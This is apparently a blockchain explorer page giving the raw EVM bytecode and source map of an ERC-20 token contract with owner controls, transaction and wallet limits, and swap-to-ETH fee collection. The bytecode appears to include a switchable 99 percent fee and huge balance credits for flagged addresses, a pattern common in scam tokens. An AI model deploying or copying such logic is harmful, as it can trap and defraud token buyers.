3660046114b0565b60056020526000908152604090205460ff1681565b34801561065f57600080fd5b5061041561066e3660046114b0565b61096a565b60606009805461068290611506565b80601f01602080910402602001604051908101604052809291908181526020018280546106ae90611506565b80156106fb5780601f106106d0576101008083540402835291602001916106fb565b820191906000526020600020905b8154815290600101906020018083116106de57829003601f168201915b5050505050905090565b6000610712338484610aa3565b5060015b92915050565b6000610729848484610b64565b61077b843361077685604051806060016040528060288152602001611679602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ec7565b610aa3565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916107129185906107769086610ef3565b6000546001600160a01b0316331461081a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600a805461068290611506565b60006107123384610776856040518060600160405280602581526020016116a1602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610ec7565b6000610712338484610b64565b600a80546108dc90611506565b80601f016020809104026020016040519081016040528092919081815260200182805461090890611506565b80156109555780601f1061092a57610100808354040283529160200191610955565b820191906000526020600020905b81548152906001019060200180831161093857829003601f168201915b505050505081565b600980546108dc90611506565b6000546001600160a01b031633146109c45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610811565b6001600160a01b038116610a295760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610811565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610a908284611556565b9392505050565b6000610a90828461156d565b6001600160a01b03831615801590610ac357506001600160a01b03821615155b610b035760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610811565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bc85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610811565b6001600160a01b038216610c2a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610811565b6001600160a01b03831660009081526004602052604090205460ff16158015610c6c57506001600160a01b03821660009081526004602052604090205460ff16155b15610cd457601654811115610cd45760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610811565b600d5460ff61010082048116911610801590610cfa5750601a54600160a81b900460ff16155b8015610d145750601a546001600160a01b03848116911614155b8015610d295750601a54600160b01b900460ff165b15610d6857600d805460ff1916905530600090815260016020526040902054601654811115610d5757506016545b8015610d6657610d6681610eff565b505b6001600160a01b03821660009081526003602052604090205460ff16610dbf57601454610db482610dae856001600160a01b031660009081526001602052604090205490565b90610ef3565b1115610dbf57600080fd5b6001600160a01b03831660009081526005602052604090205460019060ff1680610e0157506001600160a01b03831660009081526005602052604090205460ff165b15610e7757506001600160a01b0382166000908152601b602052604081205460ff168015610e4a57506040805160208101909152600190819052601a54600160a01b900460ff16105b15610e7257604080516020810190915260019052601a805460ff60a01b1916600160a01b1790555b610eb5565b601a546001600160a01b0390811690851603610e9857600f54600e55610eb5565b601a546001600160a01b0390811690841603610eb557601054600e555b610ec184848484610f44565b50505050565b60008184841115610eeb5760405162461bcd60e51b815260040161081191906113dd565b505050900390565b6000610a9082846115a5565b601a805460ff60a81b1916600160a81b179055610f1b81610f9b565b6006544790610f33906001600160a01b0316826110f5565b5050601a805460ff60a81b19169055565b80610f5657610f51611130565b610f83565b600d805460ff16906000610f69836115b8565b91906101000a81548160ff021916908360ff160217905550505b610f8e848484611175565b80610ec157610ec1611302565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610fd057610fd061158f565b6001600160a01b03928316602091820292909201810191909152601854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611029573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104d91906115d7565b816001815181106110605761106061158f565b6001600160a01b0392831660209182029290920101526018546110869130911684610aa3565b60185460405163791ac94760e01b81526001600160a01b039091169063791ac947906110bf9085906000908690309042906004016115f4565b600060405180830381600087803b1580156110d957600080fd5b505af11580156110ed573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561112b573d6000803e3d6000fd5b505050565b600e541580156111405750600f54155b801561114c5750601054155b1561115357565b600f805460125560108054601355600e80546011556000928390559082905555565b60008061118183611376565b6001600160a01b03871660009081526001602052604090205491935091506111a990846113ae565b6001600160a01b0386811660009081526001602090815260408083209490945583516060810185529288168385018190528252601b81529290205460ff16151591810182905290819061120c576040805160208101909152600090819052611249565b604080518082018252602080820187905282519081019092526d314dc6448d932a000000000000009182905290819061124590876113ae565b9052515b9052516001600160a01b03851660009081526001602052604090205461126f9084610ef3565b61127991906115a5565b6001600160a01b0385166000908152600160205260408082209290925530815220546112a59082610ef3565b3060009081526001602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b601154600e55601254600f5560408051606081018252601354818301819052815281516020808201909352601a549192830191819061134a90600160a01b900460ff166113ba565b9052519052601a54600160a01b900460ff166002811061136c5761136c61158f565b6020020151601055565b60008060006064600e548561138b9190611556565b611395919061156d565b905060006113a385836113ae565b959194509092505050565b6000610a908284611665565b600060405180602001604052808360636113d49190611665565b90525192915050565b600060208083528351808285015260005b8181101561140a578581018301518582016040015282016113ee565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461144057600080fd5b50565b6000806040838503121561145657600080fd5b82356114618161142b565b946020939093013593505050565b60008060006060848603121561148457600080fd5b833561148f8161142b565b9250602084013561149f8161142b565b929592945050506040919091013590565b6000602082840312156114c257600080fd5b8135610a908161142b565b600080604083850312156114e057600080fd5b82356114eb8161142b565b915060208301356114fb8161142b565b809150509250929050565b600181811c9082168061151a57607f821691505b60208210810361153a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761071657610716611540565b60008261158a57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b8082018082111561071657610716611540565b600060ff821660ff81036115ce576115ce611540565b60010192915050565b6000602082840312156115e957600080fd5b8151610a908161142b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116445784516001600160a01b03168352938301939183019160010161161f565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156107165761071661154056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f59b4983958b34f25c43de00cdd6fa355c477989805b6647e9c7c7f443b55fa164736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101f25760003560e01c80637d1db4a51161010d578063a9059cbb116100a0578063cbd8dc0a1161006f578063cbd8dc0a146105b2578063d28d8852146105c8578063dd62ed3e146105dd578063f1d6512e14610623578063f2fde38b1461065357600080fd5b8063a9059cbb14610547578063af465a2714610567578063b09f12661461057d578063c0a2526c1461059257600080fd5b8063a3b3bc07116100dc578063a3b3bc07146104a6578063a457c2d7146104d6578063a52a9e52146104f6578063a663a9da1461052657600080fd5b80637d1db4a51461042d5780638da5cb5b1461044357806395d89b411461046157806397f3a19e1461047657600080fd5b8063313ce567116101855780635a125cda116101545780635a125cda146103aa57806370a08231146103ca578063715018a61461040057806378109e541461041757600080fd5b8063313ce56714610323578063395093511461034957806349bd5a5e146103695780634a74bb021461038957600080fd5b806318160ddd116101c157806318160ddd146102ad5780631891201e146102cc578063220f6696146102e257806323b872dd1461030357600080fd5b806303fd2a45146101fe57806306fdde031461023b578063095ea7b31461025d5780631694505e1461028d57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5060075461021e906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561024757600080fd5b50610250610673565b60405161023291906113dd565b34801561026957600080fd5b5061027d610278366004611443565b610705565b6040519015158152602001610232565b34801561029957600080fd5b5060185461021e906001600160a01b031681565b3480156102b957600080fd5b50600c545b604051908152602001610232565b3480156102d857600080fd5b506102be60105481565b3480156102ee57600080fd5b50601a5461027d90600160a81b900460ff1681565b34801561030f57600080fd5b5061027d61031e36600461146f565b61071c565b34801561032f57600080fd5b50600b5460ff165b60405160ff9091168152602001610232565b34801561035557600080fd5b5061027d610364366004611443565b610785565b34801561037557600080fd5b50601a5461021e906001600160a01b031681565b34801561039557600080fd5b50601a5461027d90600160b01b900460ff1681565b3480156103b657600080fd5b5060065461021e906001600160a01b031681565b3480156103d657600080fd5b506102be6103e53660046114b0565b6001600160a01b031660009081526001602052604090205490565b34801561040c57600080fd5b506104156107bb565b005b34801561042357600080fd5b506102be60145481565b34801561043957600080fd5b506102be60165481565b34801561044f57600080fd5b506000546001600160a01b031661021e565b34801561046d57600080fd5b50610250610864565b34801561048257600080fd5b5061027d6104913660046114b0565b60036020526000908152604090205460ff1681565b3480156104b257600080fd5b5061027d6104c13660046114b0565b60046020526000908152604090205460ff1681565b3480156104e257600080fd5b5061027d6104f1366004611443565b610873565b34801561050257600080fd5b5061027d6105113660046114b0565b601b6020526000908152604090205460ff1681565b34801561053257600080fd5b50601a5461033790600160a01b900460ff1681565b34801561055357600080fd5b5061027d610562366004611443565b6108c2565b34801561057357600080fd5b506102be600c5481565b34801561058957600080fd5b506102506108cf565b34801561059e57600080fd5b5060085461021e906001600160a01b031681565b3480156105be57600080fd5b506102be600f5481565b3480156105d457600080fd5b5061025061095d565b3480156105e957600080fd5b506102be6105f83660046114cd565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561062f57600080fd5b5061027d61063e3660046114b0565b60056020526000908152604090205460ff1681565b34801561065f57600080fd5b5061041561066e3660046114b0565b61096a565b60606009805461068290611506565b80601f01602080910402602001604051908101604052809291908181526020018280546106ae90611506565b80156106fb5780601f106106d0576101008083540402835291602001916106fb565b820191906000526020600020905b8154815290600101906020018083116106de57829003601f168201915b5050505050905090565b6000610712338484610aa3565b5060015b92915050565b6000610729848484610b64565b61077b843361077685604051806060016040528060288152602001611679602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ec7565b610aa3565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916107129185906107769086610ef3565b6000546001600160a01b0316331461081a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600a805461068290611506565b60006107123384610776856040518060600160405280602581526020016116a1602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610ec7565b6000610712338484610b64565b600a80546108dc90611506565b80601f016020809104026020016040519081016040528092919081815260200182805461090890611506565b80156109555780601f1061092a57610100808354040283529160200191610955565b820191906000526020600020905b81548152906001019060200180831161093857829003601f168201915b505050505081565b600980546108dc90611506565b6000546001600160a01b031633146109c45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610811565b6001600160a01b038116610a295760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610811565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610a908284611556565b9392505050565b6000610a90828461156d565b6001600160a01b03831615801590610ac357506001600160a01b03821615155b610b035760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610811565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bc85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610811565b6001600160a01b038216610c2a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610811565b6001600160a01b03831660009081526004602052604090205460ff16158015610c6c57506001600160a01b03821660009081526004602052604090205460ff16155b15610cd457601654811115610cd45760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610811565b600d5460ff61010082048116911610801590610cfa5750601a54600160a81b900460ff16155b8015610d145750601a546001600160a01b03848116911614155b8015610d295750601a54600160b01b900460ff165b15610d6857600d805460ff1916905530600090815260016020526040902054601654811115610d5757506016545b8015610d6657610d6681610eff565b505b6001600160a01b03821660009081526003602052604090205460ff16610dbf57601454610db482610dae856001600160a01b031660009081526001602052604090205490565b90610ef3565b1115610dbf57600080fd5b6001600160a01b03831660009081526005602052604090205460019060ff1680610e0157506001600160a01b03831660009081526005602052604090205460ff165b15610e7757506001600160a01b0382166000908152601b602052604081205460ff168015610e4a57506040805160208101909152600190819052601a54600160a01b900460ff16105b15610e7257604080516020810190915260019052601a805460ff60a01b1916600160a01b1790555b610eb5565b601a546001600160a01b0390811690851603610e9857600f54600e55610eb5565b601a546001600160a01b0390811690841603610eb557601054600e555b610ec184848484610f44565b50505050565b60008184841115610eeb5760405162461bcd60e51b815260040161081191906113dd565b505050900390565b6000610a9082846115a5565b601a805460ff60a81b1916600160a81b179055610f1b81610f9b565b6006544790610f33906001600160a01b0316826110f5565b5050601a805460ff60a81b19169055565b80610f5657610f51611130565b610f83565b600d805460ff16906000610f69836115b8565b91906101000a81548160ff021916908360ff160217905550505b610f8e848484611175565b80610ec157610ec1611302565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610fd057610fd061158f565b6001600160a01b03928316602091820292909201810191909152601854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611029573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104d91906115d7565b816001815181106110605761106061158f565b6001600160a01b0392831660209182029290920101526018546110869130911684610aa3565b60185460405163791ac94760e01b81526001600160a01b039091169063791ac947906110bf9085906000908690309042906004016115f4565b600060405180830381600087803b1580156110d957600080fd5b505af11580156110ed573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561112b573d6000803e3d6000fd5b505050565b600e541580156111405750600f54155b801561114c5750601054155b1561115357565b600f805460125560108054601355600e80546011556000928390559082905555565b60008061118183611376565b6001600160a01b03871660009081526001602052604090205491935091506111a990846113ae565b6001600160a01b0386811660009081526001602090815260408083209490945583516060810185529288168385018190528252601b81529290205460ff16151591810182905290819061120c576040805160208101909152600090819052611249565b604080518082018252602080820187905282519081019092526d314dc6448d932a000000000000009182905290819061124590876113ae565b9052515b9052516001600160a01b03851660009081526001602052604090205461126f9084610ef3565b61127991906115a5565b6001600160a01b0385166000908152600160205260408082209290925530815220546112a59082610ef3565b3060009081526001602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b601154600e55601254600f5560408051606081018252601354818301819052815281516020808201909352601a549192830191819061134a90600160a01b900460ff166113ba565b9052519052601a54600160a01b900460ff166002811061136c5761136c61158f565b6020020151601055565b60008060006064600e548561138b9190611556565b611395919061156d565b905060006113a385836113ae565b959194509092505050565b6000610a908284611665565b600060405180602001604052808360636113d49190611665565b90525192915050565b600060208083528351808285015260005b8181101561140a578581018301518582016040015282016113ee565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461144057600080fd5b50565b6000806040838503121561145657600080fd5b82356114618161142b565b946020939093013593505050565b60008060006060848603121561148457600080fd5b833561148f8161142b565b9250602084013561149f8161142b565b929592945050506040919091013590565b6000602082840312156114c257600080fd5b8135610a908161142b565b600080604083850312156114e057600080fd5b82356114eb8161142b565b915060208301356114fb8161142b565b809150509250929050565b600181811c9082168061151a57607f821691505b60208210810361153a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761071657610716611540565b60008261158a57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b8082018082111561071657610716611540565b600060ff821660ff81036115ce576115ce611540565b60010192915050565b6000602082840312156115e957600080fd5b8151610a908161142b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116445784516001600160a01b03168352938301939183019160010161161f565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156107165761071661154056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f59b4983958b34f25c43de00cdd6fa355c477989805b6647e9c7c7f443b55fa164736f6c63430008110033

Deployed Bytecode Sourcemap

12157:9600:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12692:81;;;;;;;;;;-1:-1:-1;12692:81:0;;;;-1:-1:-1;;;;;12692:81:0;;;;;;-1:-1:-1;;;;;194:32:1;;;176:51;;164:2;149:18;12692:81:0;;;;;;;;15319:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;16152:161::-;;;;;;;;;;-1:-1:-1;16152:161:0;;;;;:::i;:::-;;:::i;:::-;;;1412:14:1;;1405:22;1387:41;;1375:2;1360:18;16152:161:0;1247:187:1;13646:41:0;;;;;;;;;;-1:-1:-1;13646:41:0;;;;-1:-1:-1;;;;;13646:41:0;;;15596:95;;;;;;;;;;-1:-1:-1;15676:7:0;;15596:95;;;1819:25:1;;;1807:2;1792:18;15596:95:0;1673:177:1;13187:29:0;;;;;;;;;;;;;;;;13801:28;;;;;;;;;;-1:-1:-1;13801:28:0;;;;-1:-1:-1;;;13801:28:0;;;;;;16321:313;;;;;;;;;;-1:-1:-1;16321:313:0;;;;;:::i;:::-;;:::i;15505:83::-;;;;;;;;;;-1:-1:-1;15571:9:0;;;;15505:83;;;2488:4:1;2476:17;;;2458:36;;2446:2;2431:18;15505:83:0;2316:184:1;16642:218:0;;;;;;;;;;-1:-1:-1;16642:218:0;;;;;:::i;:::-;;:::i;13725:28::-;;;;;;;;;;-1:-1:-1;13725:28:0;;;;-1:-1:-1;;;;;13725:28:0;;;13836:40;;;;;;;;;;-1:-1:-1;13836:40:0;;;;-1:-1:-1;;;13836:40:0;;;;;;12593:92;;;;;;;;;;-1:-1:-1;12593:92:0;;;;-1:-1:-1;;;;;12593:92:0;;;15699:119;;;;;;;;;;-1:-1:-1;15699:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;15792:18:0;15765:7;15792:18;;;:9;:18;;;;;;;15699:119;11743:148;;;;;;;;;;;;;:::i;:::-;;13396:56;;;;;;;;;;;;;;;;13525:53;;;;;;;;;;;;;;;;11514:87;;;;;;;;;;-1:-1:-1;11560:7:0;11587:6;-1:-1:-1;;;;;11587:6:0;11514:87;;15410;;;;;;;;;;;;;:::i;12413:54::-;;;;;;;;;;-1:-1:-1;12413:54:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12474:50;;;;;;;;;;-1:-1:-1;12474:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16868:269;;;;;;;;;;-1:-1:-1;16868:269:0;;;;;:::i;:::-;;:::i;13883:48::-;;;;;;;;;;-1:-1:-1;13883:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13760:28;;;;;;;;;;-1:-1:-1;13760:28:0;;;;-1:-1:-1;;;13760:28:0;;;;;;15826:167;;;;;;;;;;-1:-1:-1;15826:167:0;;;;;:::i;:::-;;:::i;12984:49::-;;;;;;;;;;;;;;;;12912:31;;;;;;;;;;;;;:::i;12780:81::-;;;;;;;;;;-1:-1:-1;12780:81:0;;;;-1:-1:-1;;;;;12780:81:0;;;13152:28;;;;;;;;;;;;;;;;12870:35;;;;;;;;;;;;;:::i;16001:143::-;;;;;;;;;;-1:-1:-1;16001:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;16109:18:0;;;16082:7;16109:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;16001:143;12531:48;;;;;;;;;;-1:-1:-1;12531:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;11899:244;;;;;;;;;;-1:-1:-1;11899:244:0;;;;;:::i;:::-;;:::i;15319:83::-;15356:13;15389:5;15382:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15319:83;:::o;16152:161::-;16227:4;16244:39;3056:10;16267:7;16276:6;16244:8;:39::i;:::-;-1:-1:-1;16301:4:0;16152:161;;;;;:::o;16321:313::-;16419:4;16436:36;16446:6;16454:9;16465:6;16436:9;:36::i;:::-;16483:121;16492:6;3056:10;16514:89;16552:6;16514:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;16514:19:0;;;;;;:11;:19;;;;;;;;3056:10;16514:33;;;;;;;;;;:37;:89::i;:::-;16483:8;:121::i;:::-;-1:-1:-1;16622:4:0;16321:313;;;;;:::o;16642:218::-;3056:10;16730:4;16779:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;16779:34:0;;;;;;;;;;16730:4;;16747:83;;16770:7;;16779:50;;16818:10;16779:38;:50::i;11743:148::-;11560:7;11587:6;-1:-1:-1;;;;;11587:6:0;3056:10;11653:23;11645:68;;;;-1:-1:-1;;;11645:68:0;;3945:2:1;11645:68:0;;;3927:21:1;;;3964:18;;;3957:30;4023:34;4003:18;;;3996:62;4075:18;;11645:68:0;;;;;;;;;11850:1:::1;11834:6:::0;;11813:40:::1;::::0;-1:-1:-1;;;;;11834:6:0;;::::1;::::0;11813:40:::1;::::0;11850:1;;11813:40:::1;11881:1;11864:19:::0;;-1:-1:-1;;;;;;11864:19:0::1;::::0;;11743:148::o;15410:87::-;15449:13;15482:7;15475:14;;;;;:::i;16868:269::-;16961:4;16978:129;3056:10;17001:7;17010:96;17049:15;17010:96;;;;;;;;;;;;;;;;;3056:10;17010:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17010:34:0;;;;;;;;;;;;:38;:96::i;15826:167::-;15904:4;15921:42;3056:10;15945:9;15956:6;15921:9;:42::i;12912:31::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;12870:35::-;;;;;;;:::i;11899:244::-;11560:7;11587:6;-1:-1:-1;;;;;11587:6:0;3056:10;11653:23;11645:68;;;;-1:-1:-1;;;11645:68:0;;3945:2:1;11645:68:0;;;3927:21:1;;;3964:18;;;3957:30;4023:34;4003:18;;;3996:62;4075:18;;11645:68:0;3743:356:1;11645:68:0;-1:-1:-1;;;;;11988:22:0;::::1;11980:73;;;::::0;-1:-1:-1;;;11980:73:0;;4306:2:1;11980:73:0::1;::::0;::::1;4288:21:1::0;4345:2;4325:18;;;4318:30;4384:34;4364:18;;;4357:62;-1:-1:-1;;;4435:18:1;;;4428:36;4481:19;;11980:73:0::1;4104:402:1::0;11980:73:0::1;12090:6;::::0;;12069:38:::1;::::0;-1:-1:-1;;;;;12069:38:0;;::::1;::::0;12090:6;::::1;::::0;12069:38:::1;::::0;::::1;12118:6;:17:::0;;-1:-1:-1;;;;;;12118:17:0::1;-1:-1:-1::0;;;;;12118:17:0;;;::::1;::::0;;;::::1;::::0;;11899:244::o;2291:98::-;2349:7;2376:5;2380:1;2376;:5;:::i;:::-;2369:12;2291:98;-1:-1:-1;;;2291:98:0:o;2401:::-;2459:7;2486:5;2490:1;2486;:5;:::i;17674:266::-;-1:-1:-1;;;;;17769:19:0;;;;;;:44;;-1:-1:-1;;;;;;17792:21:0;;;;17769:44;17761:74;;;;-1:-1:-1;;;17761:74:0;;5240:2:1;17761:74:0;;;5222:21:1;5279:2;5259:18;;;5252:30;-1:-1:-1;;;5298:18:1;;;5291:47;5355:18;;17761:74:0;5038:341:1;17761:74:0;-1:-1:-1;;;;;17846:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;17898:32;;1819:25:1;;;17898:32:0;;1792:18:1;17898:32:0;;;;;;;17674:266;;;:::o;17948:1561::-;-1:-1:-1;;;;;18082:18:0;;18074:68;;;;-1:-1:-1;;;18074:68:0;;5586:2:1;18074:68:0;;;5568:21:1;5625:2;5605:18;;;5598:30;5664:34;5644:18;;;5637:62;-1:-1:-1;;;5715:18:1;;;5708:35;5760:19;;18074:68:0;5384:401:1;18074:68:0;-1:-1:-1;;;;;18161:16:0;;18153:64;;;;-1:-1:-1;;;18153:64:0;;5992:2:1;18153:64:0;;;5974:21:1;6031:2;6011:18;;;6004:30;6070:34;6050:18;;;6043:62;-1:-1:-1;;;6121:18:1;;;6114:33;6164:19;;18153:64:0;5790:399:1;18153:64:0;-1:-1:-1;;;;;18234:23:0;;;;;;:17;:23;;;;;;;;18233:24;:60;;;;-1:-1:-1;;;;;;18272:21:0;;;;;;:17;:21;;;;;;;;18271:22;18233:60;18230:195;;;18356:12;;18318:6;:50;;18310:103;;;;-1:-1:-1;;;18310:103:0;;6396:2:1;18310:103:0;;;6378:21:1;6435:2;6415:18;;;6408:30;6474:34;6454:18;;;6447:62;-1:-1:-1;;;6525:18:1;;;6518:38;6573:19;;18310:103:0;6194:404:1;18310:103:0;18465:11;;;;;;;;18454:7;;:22;;;;:57;;-1:-1:-1;18495:16:0;;-1:-1:-1;;;18495:16:0;;;;18494:17;18454:57;:95;;;;-1:-1:-1;18536:13:0;;-1:-1:-1;;;;;18528:21:0;;;18536:13;;18528:21;;18454:95;:133;;;;-1:-1:-1;18566:21:0;;-1:-1:-1;;;18566:21:0;;;;18454:133;18437:497;;;18644:7;:11;;-1:-1:-1;;18644:11:0;;;18719:4;-1:-1:-1;15792:18:0;;;-1:-1:-1;15792:18:0;;;;;;18766:12;;18743:35;;18740:78;;;-1:-1:-1;18804:12:0;;18740:78;18835:24;;18832:91;;18875:36;18890:20;18875:14;:36::i;:::-;18613:321;18437:497;-1:-1:-1;;;;;18951:25:0;;;;;;:21;:25;;;;;;;;18947:84;;19015:15;;18986:25;19004:6;18986:13;18996:2;-1:-1:-1;;;;;15792:18:0;15765:7;15792:18;;;:9;:18;;;;;;;15699:119;18986:13;:17;;:25::i;:::-;:44;;18978:53;;;;;;-1:-1:-1;;;;;19082:21:0;;19044:16;19082:21;;;:15;:21;;;;;;19063:4;;19082:21;;;:44;;-1:-1:-1;;;;;;19107:19:0;;;;;;:15;:19;;;;;;;;19082:44;19078:361;;;-1:-1:-1;;;;;;19180:19:0;;19157:5;19180:19;;;:15;:19;;;;;;;;:45;;;;-1:-1:-1;19218:6:0;;;;;;;;;19219:1;19218:6;;;;19203:11;;-1:-1:-1;;;19203:11:0;;:22;:11;:22;19180:45;19177:76;;;19243:6;;;;;;;;;19244:1;19243:6;;19228:11;:22;;-1:-1:-1;;;;19228:22:0;-1:-1:-1;;;19228:22:0;;;19177:76;19078:361;;;19284:13;;-1:-1:-1;;;;;19284:13:0;;;19276:21;;;;19272:167;;19324:9;;19313:8;:20;19272:167;;;19365:13;;-1:-1:-1;;;;;19365:13:0;;;19359:19;;;;19355:84;;19409:10;;19398:8;:21;19355:84;19459:42;19474:4;19479:2;19482:6;19489:11;19459:14;:42::i;:::-;18051:1458;17948:1561;;;:::o;2507:206::-;2593:7;2654:12;2646:6;;;;2638:29;;;;-1:-1:-1;;;2638:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2689:5:0;;;2507:206::o;2079:98::-;2137:7;2164:5;2168:1;2164;:5;:::i;19770:237::-;14174:16;:23;;-1:-1:-1;;;;14174:23:0;-1:-1:-1;;;14174:23:0;;;19855:38:::1;19872:20:::0;19855:16:::1;:38::i;:::-;19971:15;::::0;19926:21:::1;::::0;19958:41:::1;::::0;-1:-1:-1;;;;;19971:15:0::1;19926:21:::0;19958:12:::1;:41::i;:::-;-1:-1:-1::0;;14220:16:0;:24;;-1:-1:-1;;;;14220:24:0;;;19770:237::o;20501:346::-;20626:11;20622:109;;20653:12;:10;:12::i;:::-;20622:109;;;20706:7;:9;;;;;:7;:9;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;20622:109;20745:41;20760:6;20768:9;20779:6;20745:14;:41::i;:::-;20803:11;20799:40;;20829:10;:8;:10::i;20017:474::-;20109:16;;;20123:1;20109:16;;;;;;